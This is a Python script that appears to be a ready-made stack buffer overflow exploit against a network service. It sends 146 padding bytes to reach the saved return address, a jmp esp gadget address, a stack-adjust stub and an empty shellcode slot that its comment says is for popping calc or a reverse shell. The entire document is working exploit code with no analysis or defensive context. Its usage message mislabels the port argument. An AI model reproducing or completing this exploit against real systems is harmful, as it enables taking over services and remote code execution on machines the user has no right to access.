#!/usr/bin/python

import socket
import sys

if len(sys.argv) != 3:
    print("Usage: %s <IP_ADDRESS> <IP>" % sys.argv[0])
    sys.exit(1)

ip = str(sys.argv[1])
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

# Total Buffer Length
buf_len = 1024
# Part of buffer used to get to EIP, offset where EIP written and crashes
offset_srp = "A" * 146
# jmp_esp gadget
jmp_esp = "\xc3\x14\x04\x08"
# esp sub used to make room for exploit to not get destroyed by GetPC
sub_esp = "\x83\xec\x10"

# exploit shellcode used to pop calc or reverse shell, etc.
exploit_shellcode = ""

buf = offset_srp
buf += jmp_esp
buf += sub_esp
buf += exploit_shellcode
buf += "D" * (buf_len - len(buf)) 
buf += "\n"
s.send(buf)


